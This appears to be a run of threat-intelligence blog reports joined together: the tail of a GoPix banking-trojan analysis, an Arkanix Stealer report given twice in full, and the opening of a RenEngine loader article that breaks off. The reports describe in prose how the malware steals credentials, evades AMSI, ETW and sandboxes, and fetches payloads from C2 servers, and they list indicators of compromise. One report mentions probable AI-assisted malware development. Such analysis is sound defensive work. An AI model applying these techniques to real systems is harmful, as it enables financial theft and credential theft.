Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.

When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.

Unique man-in-the-middle attack

PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.

In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.

To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.

CRC32	Target
8BD688E8	local
8CA8ACFF	www2.banco********.com.br
AD8F5213	autoatendimento.********.com.br
105A3F17	www2.****.com.br
B477FE70	internetbanking.*******.gov.br
785F39C2	loginx.********.br
C72C8593	internetpf.*****.com.br
75E3C3BA	internet.*****.com.br
FD4E6024	internetbanking.*******.com.br

HTTPS interception

Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.

Conclusion

With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.

This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.

For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.

Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.

Indicators of compromise

EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload

Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51

C2
paletolife[.]com

Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/

Introduction

In October 2025, we discovered a series of forum posts advertising a previously unknown stealer, dubbed “Arkanix Stealer” by its authors. It operated under a MaaS (malware-as-a-service) model, providing users not only with the implant but also with access to a control panel featuring configurable payloads and statistics. The set of implants included a publicly available browser post-exploitation tool known as ChromElevator, which was delivered by a native C++ version of the stealer. This version featured a wide range of capabilities, from collecting system information to stealing cryptocurrency wallet data. Alongside that, we have also discovered Python implementation of the stealer capable of dynamically modifying its configuration. The Python version was often packed, thus giving the adversary multiple methods for distributing their malware. It is also worth noting that Arkanix was rather a one-shot malicious campaign: at the time of writing this article, the affiliate program appears to be already taken down.

Kaspersky products detect this threat as Trojan-PSW.Win64.Coins.*, HEUR:Trojan-PSW.Multi.Disco.gen, Trojan.Python.Agent.*.

Technical details

Background

In October 2025, a series of posts was discovered on various dark web forums, advertising a stealer referred to by its author as “Arkanix Stealer”. These posts detail the features of the stealer and include a link to a Discord server, which serves as the primary communication channel between the author and the users of the stealer.

Upon further research utilizing public resources, we identified a set of implants associated with this stealer.

Initial infection or spreading

The initial infection vector remains unknown. However, based on some of the file names (such as steam_account_checker_pro_v1.py, discord_nitro_checker.py, and TikTokAccountBotter.exe) of the loader scripts we obtained, it can be concluded with high confidence that the initial infection vector involved phishing.

Python loader

MD5	208fa7e01f72a50334f3d7607f6b82bf
File name	discord_nitro_code_validator_right_aligned.py

The Python loader is the script responsible for downloading and executing the Python-based version of the Arkanix infostealer. We have observed both plaintext Python scripts and those bundled using PyInstaller or Nuitka, all of which share a common execution vector and are slightly obfuscated. These scripts often serve as decoys, initially appearing to contain legitimate code. Some of them do have useful functionality, and others do nothing apart from loading the stealer. Additionally, we have encountered samples that employ no obfuscation at all, in which the infostealer is launched in a separate thread via Python’s built-in threading module.

Upon execution, the loader first installs the required packages — namely, requests, pycryptodome, and psutil — via the pip package manager, utilizing the subprocess module. On Microsoft Windows systems, the loader also installs pywin32. In some of the analyzed samples, this process is carried out twice. Since the loader does not perform any output validation of the module installation command, it proceeds to make a POST request to hxxps://arkanix[.]pw/api/session/create to register the current compromised machine on the panel with a predefined set of parameters even if the installation failed. After that, the stealer makes a GET request to hxxps://arkanix[.]pw/stealer.py and executes the downloaded payload.

Python stealer version

MD5	af8fd03c1ec81811acf16d4182f3b5e1
File name	–

During our research, we obtained a sample of the Python implementation of the Arkanix stealer, which was downloaded from the endpoint hxxps://arkanix[.]pw/stealer.py by the previous stage.

The stealer’s capabilities — or features, as referred to by the author — in this version are configurable, with the default configuration predefined within the script file. To dynamically update the feature list, the stealer makes a GET request to hxxps://arkanix[.]pw/api/features/{payload_id}, indicating that these capabilities can be modified on the panel side. The feature list is identical to the one that was described in the GDATA report.

Prior to executing the information retrieval-related functions, the stealer makes a request to hxxps://arkanix[.]pw/upload_dropper.py, saves the response to %TEMP%\upd_{random 8-byte name}.py, and executes it. We do not have access to the contents of this script, which is referred to as the “dropper” by the attackers.

During its main information retrieval routine, at the end of each processing stage, the collected information is serialized into JSON format and saved to a predefined path, such as %LOCALAPPDATA\Arkanix_lol\%info_class%.json.

In the following, we will provide a more detailed description of the Python version’s data collection features.

System info collection

Arkanix Stealer is capable of collecting a set of info about the compromised system. This info includes:

• OS version
• CPU and GPU info
• RAM size
• Screen resolution
• Keyboard layout
• Time zone
• Installed software
• Antivirus software
• VPN

Information collection is performed using standard shell commands with the exception of the VPN check. The latter is implemented by querying the endpoint hxxps://ipapi[.]co/json/ and verifying whether the associated IP address belongs to a known set of VPNs, proxies, or Tor exit nodes.

Browser features

This stealer is capable of extracting various types of data from supported browsers (22 in total, ranging from the widely popular Google Chrome to the Tor Browser). The list of supported browsers is hardcoded, and unlike other parameters, it cannot be modified during execution. In addition to a separate Chrome grabber module (which we’ll discuss later), the stealer itself supports the extraction of diverse information, such as:

• Browser history (URLs, visit count and last visit)
• Autofill information (email, phone, addresses and payment cards details)
• Saved passwords
• Cookies
• In case of Chromium-based browsers, 0Auth2 data is also extracted

All information is decrypted using either the Windows DPAPI or AES, where applicable, and searched for relevant keywords. In the case of browser information collection, the stealer searches exclusively for keywords related to banking (e.g., “revolut”, “stripe”, “bank”) and cryptocurrencies (e.g., “binance”, “metamask”, “wallet”). In addition to this, the stealer is capable of extracting extension data from a hardcoded list of extensions associated with cryptocurrencies.

Telegram info collection

Telegram data collection begins with terminating the Telegram.exe process using the taskkill command. Subsequently, if the telegram_optimized feature is set to False, the malware zips the entire tdata directory (typically located at %APPDATA%\Roaming\Telegram Desktop\tdata) and transmits it to the attacker. Otherwise, it selectively copies and zips only the subdirectories containing valuable info, such as message log. The generated archive is sent to the endpoint /delivery with the filename tdata_session.zip.

Discord capabilities

The stealer includes two features connected with Discord: credentials stealing and self-spreading. The first one can be utilized to acquire credentials both from the standard client and custom clients. If the client is Chromium-based, the stealer employs the same data exfiltration mechanism as during browser credentials stealing.

The self-spreading feature is configurable (meaning it can be disabled in the config). The stealer acquires the list of user’s friends and channels via the Discord API and sends a message provided by the attacker. This stealer does not support attaching files to such messages.

VPN data collection

The VPN collector is searching for a set of known VPN software to extract account credentials from the credentials file with a known path that gets parsed with a regular expression. The extraction occurs from the following set of applications:

• Mullvad VPN
• NordVPN
• ExpressVPN
• ProtonVPN

File retrieval

File retrieval is performed regardless of the configuration. The script relies on a predefined set of paths associated with the current user (such as Desktop, Download, etc.) and file extensions mainly connected with documents and media. The script also has a predefined list of filenames to exfiltrate. The extracted files are packed into a ZIP archive which is later sent to the C2 asynchronously. An interesting aspect is that the filename list includes several French words, such as “motdepasse” (French for “password”), “banque” (French for “bank”), “secret” (French for “secret”), and “compte” (French for “account”).

Other payloads

We were able to identify additional modules that are downloaded from the C2 rather than embedded into the stealer script; however, we weren’t able to obtain them. These modules can be described by the following table, with the “Details” column referring to the information that could be extracted from the main stealer code.

Module name	Endpoint to download	Details
Chrome grabber	/api/chrome-grabber-template/{payload_id}	–
Wallet patcher	/api/wallet-patcher/{payload_id}	Checks whether “Exodus” and “Atomic” cryptocurrency wallets are installed
Extra collector	/api/extra-collector/{payload_id}	Uses a set of options from the config, such as collect_filezilla, collect_vpn_data, collect_steam, and collect_screenshots
HVNC	/hvnc	Is saved to the Startup directory (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hvnc.py) to execute upon system boot

The Wallet patcher and Extra collector scripts are received in an encrypted form from the C2 server. To decrypt them, the attackers utilize the AES-GCM algorithm in conjunction with PBKDF2 (HMAC and SHA256). After decryption, the additional payload has its template placeholders replaced and is stored under a partially randomized name within a temporary folder.

Once all operations are completed, the stealer removes itself from the drive, along with the artifacts folder (Arkanix_lol in this case).

Native version of stealer

MD5	a3fc46332dcd0a95e336f6927bae8bb7
File name	ArkanixStealer.exe

During our analysis, we were able to obtain both the release and debug versions of the native implementation, as both were uploaded to publicly available resources. The following are the key differences between the two:

• The release version employs VMProtect, but does not utilize code virtualization.
• The debug version communicates with a Discord bot for command and control (C2), whereas the release version uses the previously mentioned C2 domain arkanix[.]pw.
• The debug version includes extensive logging, presumably for the authors’ debugging purposes.

Notably, the native implementation explicitly references the name of the stealer in the VersionInfo resources. This naming convention is consistent across both the debug version and certain samples containing the release version of the implant.

After launching, the stealer implements a series of analysis countermeasures to verify that the application is not being executed within a sandboxed environment or run under a debugger. Following these checks, the sample patches AmsiScanBuffer and EtwEventWrite to prevent the triggering of any unwanted events by the system.

Once the preliminary checks are completed, the sample proceeds to gather information about the system. The list of capabilities is hardcoded and cannot be modified from the server side, in contrast to the Python version. What is more, the feature list is quite similar to the Python version except a few ones.

RDP connections

The stealer is capable of collecting information about known RDP connections that the compromised user has. To achieve this, it searches for .rdp files in %USERPROFILE%\Documents and extracts the full server address, password, username and server port.

Gaming files

The stealer also targets gamers and is capable to steal credentials from the popular gaming platform clients, including:

• Steam
• Epic Games Launcher
• net
• Riot
• Origin
• Unreal Engine
• Ubisoft Connect
• GOG

Screenshots

The native version, unlike its Python counterpart, is capable of capturing screenshots for each monitor via capCreateCaptureWindowA WinAPI.
In conclusion, this sample communicates with the C2 server through the same endpoints as the Python version. However, in this instance, all data is encrypted using the same AES-GCM + PBKDF2 (HMAC and SHA256) scheme as partially employed in the Python variant. In some observed samples, the key used was arkanix_secret_key_v20_2024. Alongside that, the C++ sample explicitly sets the User-Agent to ArkanixStealer/1.0.

Post-exploitation browser data extractor

MD5	3283f8c54a3ddf0bc0d4111cc1f950c0
File name	–

This is an implant embedded within the resources of the C++ implementation. The author incorporated it into the resource section without applying any obfuscation or encryption. Subsequently, the stealer extracts the payload to a temporary folder with a randomly generated name composed of hexadecimal digits (0-9 and A-F) and executes it using the CreateProcess WinAPI. The payload itself is the unaltered publicly available project known as “ChromElevator”. To summarize, this tool consists of two components: an injector and the main payload. The injector initializes a direct syscall engine, spawns a suspended target browser process, and injects the decrypted code into it via Nt syscalls. The injected payload then decrypts the browser master key and exfiltrates data such as cookies, login information, web data, and so on.

Infrastructure

During the Arkanix campaign, two domains used in the attacks were identified. Although these domains were routed through Cloudflare, a real IP address was successfully discovered for one of them, namely, arkanix[.]pw. For the second one we only obtained a Cloudflare IP address.

Domain	IP	First seen	ASN
arkanix[.]pw	195.246.231[.]60	Oct 09, 2025	–
arkanix[.]ru	172.67.186[.]193	Oct 19, 2025	–

Both servers were also utilized to host the stealer panel, which allows attackers to monitor their victims. The contents of the panel are secured behind a sign-in page. Closer to the end of our research, the panel was seemingly taken down with no message or notice.

Stealer promotion

During the research of this campaign, we noticed that the forum posts advertising the stealer contained a link leading to a Discord server dubbed “Arkanix” by the authors. The server posed as a forum where authors posted various content and clients could ask various questions regarding this malicious software. While users mainly thank and ask about when the feature promised by the authors will be released and added into the stealer, the content made by the authors is broader. The adversary builds up the communication with potential buyers using the same marketing and communication methods real companies employ. To begin with, they warm up the audience by posting surveys about whether they should implement specific features, such as Discord injection and binding with a legitimate application (sic!).

Additionally, the author promised to release a crypter as a side project in four to six weeks, at the end of October. As of now, the stealer seems to have been taken down without any notice while the crypter was never released.

Furthermore, the Arkanix Stealer authors decided to implement a referral program to attract new customers. Referrers were promised an additional free hour to their premium license, while invited customers received seven days of free “premium” trial use. As stated in forum posts, the premium plan included the following features:

• C++ native stealer
• Exodus and Atomic cryptocurrency wallets injection
• Increased payload generation, up to 10 payloads
• Priority support

Speaking of technical details, based on the screenshot of the Visual Studio stealer project that was sent to the Discord server, we can conclude that the author is German-speaking.

This same screenshot also serves as a probable indicator of AI-assisted development as it shares the common patterns of such assistants, e.g. the presence of the utils.cpp file. What provides even more confidence is the overall code structure, the presence of comments and extensive debugging log output.

Conclusions

Information stealers have always posed as a serious threat to users’ data. Arkanix is no exception as it targets a wide range of users, from those interested in cryptocurrencies and gaming to those using online banking. It collects a vast amount of information including highly sensitive personal data. While being quite functional, it contains probable traces of LLM-assisted development which suggests that such assistance might have drastically reduced development time and costs. Hence it follows that this campaign tends to be more of a one-shot campaign for quick financial gains rather than a long-running infection. The panel and the Discord chat were taken down around December 2025, leaving no message or traces of further development or a resurgence.

In addition, the developers behind the Arkanix Stealer decided to address the public, implementing a forum where they posted development insights, conducted surveys and even ran a referral program where you could get bonuses for “bringing a friend”. This behavior makes Arkanix more of a public software product than a shady stealer.

Indicators of Compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

File hashes
752e3eb5a9c295ee285205fb39b67fc4
c1e4be64f80bc019651f84ef852dfa6c
a8eeda4ae7db3357ed2ee0d94b963eff
c0c04df98b7d1ca9e8c08dd1ffbdd16b
88487ab7a666081721e1dd1999fb9fb2
d42ba771541893eb047a0e835bd4f84e
5f71b83ca752cb128b67dbb1832205a4
208fa7e01f72a50334f3d7607f6b82bf
e27edcdeb44522a9036f5e4cd23f1f0c
ea50282fa1269836a7e87eddb10f95f7
643696a052ea1963e24cfb0531169477
f5765930205719c2ac9d2e26c3b03d8d
576de7a075637122f47d02d4288e3dd6
7888eb4f51413d9382e2b992b667d9f5
3283f8c54a3ddf0bc0d4111cc1f950c0

Domains and IPs
arkanix[.]pw
arkanix[.]ru

Introduction

In October 2025, we discovered a series of forum posts advertising a previously unknown stealer, dubbed “Arkanix Stealer” by its authors. It operated under a MaaS (malware-as-a-service) model, providing users not only with the implant but also with access to a control panel featuring configurable payloads and statistics. The set of implants included a publicly available browser post-exploitation tool known as ChromElevator, which was delivered by a native C++ version of the stealer. This version featured a wide range of capabilities, from collecting system information to stealing cryptocurrency wallet data. Alongside that, we have also discovered Python implementation of the stealer capable of dynamically modifying its configuration. The Python version was often packed, thus giving the adversary multiple methods for distributing their malware. It is also worth noting that Arkanix was rather a one-shot malicious campaign: at the time of writing this article, the affiliate program appears to be already taken down.

Kaspersky products detect this threat as Trojan-PSW.Win64.Coins.*, HEUR:Trojan-PSW.Multi.Disco.gen, Trojan.Python.Agent.*.

Technical details

Background

In October 2025, a series of posts was discovered on various dark web forums, advertising a stealer referred to by its author as “Arkanix Stealer”. These posts detail the features of the stealer and include a link to a Discord server, which serves as the primary communication channel between the author and the users of the stealer.

Upon further research utilizing public resources, we identified a set of implants associated with this stealer.

Initial infection or spreading

The initial infection vector remains unknown. However, based on some of the file names (such as steam_account_checker_pro_v1.py, discord_nitro_checker.py, and TikTokAccountBotter.exe) of the loader scripts we obtained, it can be concluded with high confidence that the initial infection vector involved phishing.

Python loader

MD5	208fa7e01f72a50334f3d7607f6b82bf
File name	discord_nitro_code_validator_right_aligned.py

The Python loader is the script responsible for downloading and executing the Python-based version of the Arkanix infostealer. We have observed both plaintext Python scripts and those bundled using PyInstaller or Nuitka, all of which share a common execution vector and are slightly obfuscated. These scripts often serve as decoys, initially appearing to contain legitimate code. Some of them do have useful functionality, and others do nothing apart from loading the stealer. Additionally, we have encountered samples that employ no obfuscation at all, in which the infostealer is launched in a separate thread via Python’s built-in threading module.

Upon execution, the loader first installs the required packages — namely, requests, pycryptodome, and psutil — via the pip package manager, utilizing the subprocess module. On Microsoft Windows systems, the loader also installs pywin32. In some of the analyzed samples, this process is carried out twice. Since the loader does not perform any output validation of the module installation command, it proceeds to make a POST request to hxxps://arkanix[.]pw/api/session/create to register the current compromised machine on the panel with a predefined set of parameters even if the installation failed. After that, the stealer makes a GET request to hxxps://arkanix[.]pw/stealer.py and executes the downloaded payload.

Python stealer version

MD5	af8fd03c1ec81811acf16d4182f3b5e1
File name	–

During our research, we obtained a sample of the Python implementation of the Arkanix stealer, which was downloaded from the endpoint hxxps://arkanix[.]pw/stealer.py by the previous stage.

The stealer’s capabilities — or features, as referred to by the author — in this version are configurable, with the default configuration predefined within the script file. To dynamically update the feature list, the stealer makes a GET request to hxxps://arkanix[.]pw/api/features/{payload_id}, indicating that these capabilities can be modified on the panel side. The feature list is identical to the one that was described in the GDATA report.

Prior to executing the information retrieval-related functions, the stealer makes a request to hxxps://arkanix[.]pw/upload_dropper.py, saves the response to %TEMP%\upd_{random 8-byte name}.py, and executes it. We do not have access to the contents of this script, which is referred to as the “dropper” by the attackers.

During its main information retrieval routine, at the end of each processing stage, the collected information is serialized into JSON format and saved to a predefined path, such as %LOCALAPPDATA\Arkanix_lol\%info_class%.json.

In the following, we will provide a more detailed description of the Python version’s data collection features.

System info collection

Arkanix Stealer is capable of collecting a set of info about the compromised system. This info includes:

• OS version
• CPU and GPU info
• RAM size
• Screen resolution
• Keyboard layout
• Time zone
• Installed software
• Antivirus software
• VPN

Information collection is performed using standard shell commands with the exception of the VPN check. The latter is implemented by querying the endpoint hxxps://ipapi[.]co/json/ and verifying whether the associated IP address belongs to a known set of VPNs, proxies, or Tor exit nodes.

Browser features

This stealer is capable of extracting various types of data from supported browsers (22 in total, ranging from the widely popular Google Chrome to the Tor Browser). The list of supported browsers is hardcoded, and unlike other parameters, it cannot be modified during execution. In addition to a separate Chrome grabber module (which we’ll discuss later), the stealer itself supports the extraction of diverse information, such as:

• Browser history (URLs, visit count and last visit)
• Autofill information (email, phone, addresses and payment cards details)
• Saved passwords
• Cookies
• In case of Chromium-based browsers, 0Auth2 data is also extracted

All information is decrypted using either the Windows DPAPI or AES, where applicable, and searched for relevant keywords. In the case of browser information collection, the stealer searches exclusively for keywords related to banking (e.g., “revolut”, “stripe”, “bank”) and cryptocurrencies (e.g., “binance”, “metamask”, “wallet”). In addition to this, the stealer is capable of extracting extension data from a hardcoded list of extensions associated with cryptocurrencies.

Telegram info collection

Telegram data collection begins with terminating the Telegram.exe process using the taskkill command. Subsequently, if the telegram_optimized feature is set to False, the malware zips the entire tdata directory (typically located at %APPDATA%\Roaming\Telegram Desktop\tdata) and transmits it to the attacker. Otherwise, it selectively copies and zips only the subdirectories containing valuable info, such as message log. The generated archive is sent to the endpoint /delivery with the filename tdata_session.zip.

Discord capabilities

The stealer includes two features connected with Discord: credentials stealing and self-spreading. The first one can be utilized to acquire credentials both from the standard client and custom clients. If the client is Chromium-based, the stealer employs the same data exfiltration mechanism as during browser credentials stealing.

The self-spreading feature is configurable (meaning it can be disabled in the config). The stealer acquires the list of user’s friends and channels via the Discord API and sends a message provided by the attacker. This stealer does not support attaching files to such messages.

VPN data collection

The VPN collector is searching for a set of known VPN software to extract account credentials from the credentials file with a known path that gets parsed with a regular expression. The extraction occurs from the following set of applications:

• Mullvad VPN
• NordVPN
• ExpressVPN
• ProtonVPN

File retrieval

File retrieval is performed regardless of the configuration. The script relies on a predefined set of paths associated with the current user (such as Desktop, Download, etc.) and file extensions mainly connected with documents and media. The script also has a predefined list of filenames to exfiltrate. The extracted files are packed into a ZIP archive which is later sent to the C2 asynchronously. An interesting aspect is that the filename list includes several French words, such as “motdepasse” (French for “password”), “banque” (French for “bank”), “secret” (French for “secret”), and “compte” (French for “account”).

Other payloads

We were able to identify additional modules that are downloaded from the C2 rather than embedded into the stealer script; however, we weren’t able to obtain them. These modules can be described by the following table, with the “Details” column referring to the information that could be extracted from the main stealer code.

Module name	Endpoint to download	Details
Chrome grabber	/api/chrome-grabber-template/{payload_id}	–
Wallet patcher	/api/wallet-patcher/{payload_id}	Checks whether “Exodus” and “Atomic” cryptocurrency wallets are installed
Extra collector	/api/extra-collector/{payload_id}	Uses a set of options from the config, such as collect_filezilla, collect_vpn_data, collect_steam, and collect_screenshots
HVNC	/hvnc	Is saved to the Startup directory (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hvnc.py) to execute upon system boot

The Wallet patcher and Extra collector scripts are received in an encrypted form from the C2 server. To decrypt them, the attackers utilize the AES-GCM algorithm in conjunction with PBKDF2 (HMAC and SHA256). After decryption, the additional payload has its template placeholders replaced and is stored under a partially randomized name within a temporary folder.

Once all operations are completed, the stealer removes itself from the drive, along with the artifacts folder (Arkanix_lol in this case).

Native version of stealer

MD5	a3fc46332dcd0a95e336f6927bae8bb7
File name	ArkanixStealer.exe

During our analysis, we were able to obtain both the release and debug versions of the native implementation, as both were uploaded to publicly available resources. The following are the key differences between the two:

• The release version employs VMProtect, but does not utilize code virtualization.
• The debug version communicates with a Discord bot for command and control (C2), whereas the release version uses the previously mentioned C2 domain arkanix[.]pw.
• The debug version includes extensive logging, presumably for the authors’ debugging purposes.

Notably, the native implementation explicitly references the name of the stealer in the VersionInfo resources. This naming convention is consistent across both the debug version and certain samples containing the release version of the implant.

After launching, the stealer implements a series of analysis countermeasures to verify that the application is not being executed within a sandboxed environment or run under a debugger. Following these checks, the sample patches AmsiScanBuffer and EtwEventWrite to prevent the triggering of any unwanted events by the system.

Once the preliminary checks are completed, the sample proceeds to gather information about the system. The list of capabilities is hardcoded and cannot be modified from the server side, in contrast to the Python version. What is more, the feature list is quite similar to the Python version except a few ones.

RDP connections

The stealer is capable of collecting information about known RDP connections that the compromised user has. To achieve this, it searches for .rdp files in %USERPROFILE%\Documents and extracts the full server address, password, username and server port.

Gaming files

The stealer also targets gamers and is capable to steal credentials from the popular gaming platform clients, including:

• Steam
• Epic Games Launcher
• net
• Riot
• Origin
• Unreal Engine
• Ubisoft Connect
• GOG

Screenshots

The native version, unlike its Python counterpart, is capable of capturing screenshots for each monitor via capCreateCaptureWindowA WinAPI.
In conclusion, this sample communicates with the C2 server through the same endpoints as the Python version. However, in this instance, all data is encrypted using the same AES-GCM + PBKDF2 (HMAC and SHA256) scheme as partially employed in the Python variant. In some observed samples, the key used was arkanix_secret_key_v20_2024. Alongside that, the C++ sample explicitly sets the User-Agent to ArkanixStealer/1.0.

Post-exploitation browser data extractor

MD5	3283f8c54a3ddf0bc0d4111cc1f950c0
File name	–

This is an implant embedded within the resources of the C++ implementation. The author incorporated it into the resource section without applying any obfuscation or encryption. Subsequently, the stealer extracts the payload to a temporary folder with a randomly generated name composed of hexadecimal digits (0-9 and A-F) and executes it using the CreateProcess WinAPI. The payload itself is the unaltered publicly available project known as “ChromElevator”. To summarize, this tool consists of two components: an injector and the main payload. The injector initializes a direct syscall engine, spawns a suspended target browser process, and injects the decrypted code into it via Nt syscalls. The injected payload then decrypts the browser master key and exfiltrates data such as cookies, login information, web data, and so on.

Infrastructure

During the Arkanix campaign, two domains used in the attacks were identified. Although these domains were routed through Cloudflare, a real IP address was successfully discovered for one of them, namely, arkanix[.]pw. For the second one we only obtained a Cloudflare IP address.

Domain	IP	First seen	ASN
arkanix[.]pw	195.246.231[.]60	Oct 09, 2025	–
arkanix[.]ru	172.67.186[.]193	Oct 19, 2025	–

Both servers were also utilized to host the stealer panel, which allows attackers to monitor their victims. The contents of the panel are secured behind a sign-in page. Closer to the end of our research, the panel was seemingly taken down with no message or notice.

Stealer promotion

During the research of this campaign, we noticed that the forum posts advertising the stealer contained a link leading to a Discord server dubbed “Arkanix” by the authors. The server posed as a forum where authors posted various content and clients could ask various questions regarding this malicious software. While users mainly thank and ask about when the feature promised by the authors will be released and added into the stealer, the content made by the authors is broader. The adversary builds up the communication with potential buyers using the same marketing and communication methods real companies employ. To begin with, they warm up the audience by posting surveys about whether they should implement specific features, such as Discord injection and binding with a legitimate application (sic!).

Additionally, the author promised to release a crypter as a side project in four to six weeks, at the end of October. As of now, the stealer seems to have been taken down without any notice while the crypter was never released.

Furthermore, the Arkanix Stealer authors decided to implement a referral program to attract new customers. Referrers were promised an additional free hour to their premium license, while invited customers received seven days of free “premium” trial use. As stated in forum posts, the premium plan included the following features:

• C++ native stealer
• Exodus and Atomic cryptocurrency wallets injection
• Increased payload generation, up to 10 payloads
• Priority support

Speaking of technical details, based on the screenshot of the Visual Studio stealer project that was sent to the Discord server, we can conclude that the author is German-speaking.

This same screenshot also serves as a probable indicator of AI-assisted development as it shares the common patterns of such assistants, e.g. the presence of the utils.cpp file. What provides even more confidence is the overall code structure, the presence of comments and extensive debugging log output.

Conclusions

Information stealers have always posed as a serious threat to users’ data. Arkanix is no exception as it targets a wide range of users, from those interested in cryptocurrencies and gaming to those using online banking. It collects a vast amount of information including highly sensitive personal data. While being quite functional, it contains probable traces of LLM-assisted development which suggests that such assistance might have drastically reduced development time and costs. Hence it follows that this campaign tends to be more of a one-shot campaign for quick financial gains rather than a long-running infection. The panel and the Discord chat were taken down around December 2025, leaving no message or traces of further development or a resurgence.

In addition, the developers behind the Arkanix Stealer decided to address the public, implementing a forum where they posted development insights, conducted surveys and even ran a referral program where you could get bonuses for “bringing a friend”. This behavior makes Arkanix more of a public software product than a shady stealer.

Indicators of Compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

File hashes
752e3eb5a9c295ee285205fb39b67fc4
c1e4be64f80bc019651f84ef852dfa6c
a8eeda4ae7db3357ed2ee0d94b963eff
c0c04df98b7d1ca9e8c08dd1ffbdd16b
88487ab7a666081721e1dd1999fb9fb2
d42ba771541893eb047a0e835bd4f84e
5f71b83ca752cb128b67dbb1832205a4
208fa7e01f72a50334f3d7607f6b82bf
e27edcdeb44522a9036f5e4cd23f1f0c
ea50282fa1269836a7e87eddb10f95f7
643696a052ea1963e24cfb0531169477
f5765930205719c2ac9d2e26c3b03d8d
576de7a075637122f47d02d4288e3dd6
7888eb4f51413d9382e2b992b667d9f5
3283f8c54a3ddf0bc0d4111cc1f950c0

Domains and IPs
arkanix[.]pw
arkanix[.]ru

We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.

In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.

However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).

In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.

Incident analysis

Disguise as a visual novel

Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.

The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the “game.”

When the “game” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case — the “real” malicious code just started working.

“Game” source files analysis

After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.

